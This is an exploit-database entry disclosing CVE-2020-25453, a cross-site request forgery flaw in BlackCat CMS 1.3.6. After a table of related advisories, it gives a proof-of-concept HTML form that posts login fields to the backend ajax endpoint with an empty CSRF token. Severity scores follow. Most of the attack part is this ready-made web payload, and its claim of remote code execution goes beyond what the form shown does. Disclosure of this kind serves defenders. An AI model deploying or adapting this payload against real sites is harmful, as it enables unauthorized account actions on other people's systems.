BlackCat CMS 1.3.6 - Cross-Site Request Forgery

🗓️ 21 Sep 2020 00:00:00Reported by NothType

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BlackCat CMS 1.3.6 - Cross-Site Request Forgery vulnerability allows remote code executio

Reporter	Title	Published	Views	Family All 7
CVE	CVE-2020-25453	15 Sep 202021:37	–	cve
Cvelist	CVE-2020-25453	15 Sep 202021:37	–	cvelist
EUVD	EUVD-2020-18139	7 Oct 202500:30	–	euvd
NVD	CVE-2020-25453	15 Sep 202022:15	–	nvd
Packet Storm	BlackCat CMS 1.3.6 Cross Site Request Forgery	21 Sep 202000:00	–	packetstorm
Prion	Design/Logic Flaw	15 Sep 202022:15	–	prion
RedhatCVE	CVE-2020-25453	22 May 202516:12	–	redhatcve

# Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
# Date: 2020-06-01
# Exploit Author: Noth
# Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS
# Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
# Version: v1.3.6
# CVE : CVE-2020-25453

BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that
allows remote arbitrary code execution .

PoC (Remove the csrf_token value) :

<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
-------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“
http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php
”method=“POST”>
<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
<input type=“hidden” name=“username&#95;fieldname”
value=“username&#95;274807982ed4”/>
<input type=“hidden” name=“password&#95;fieldname”
value=“password&#95;75868428f837”/>
<input type=“hidden” name=“&#95;cat&#95;ajax” value=“1”/>
<input type=“hidden” name=“username&#95;274807982ed4” value=“accountname”/>
<input type=“hidden” name=“password&#95;75868428f837” value=“yourpassword”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html>

21 Sep 2020 00:00Current

8.9High risk

Vulners AI Score8.9

CVSS 26.8

CVSS 3.18.8

EPSS0.00404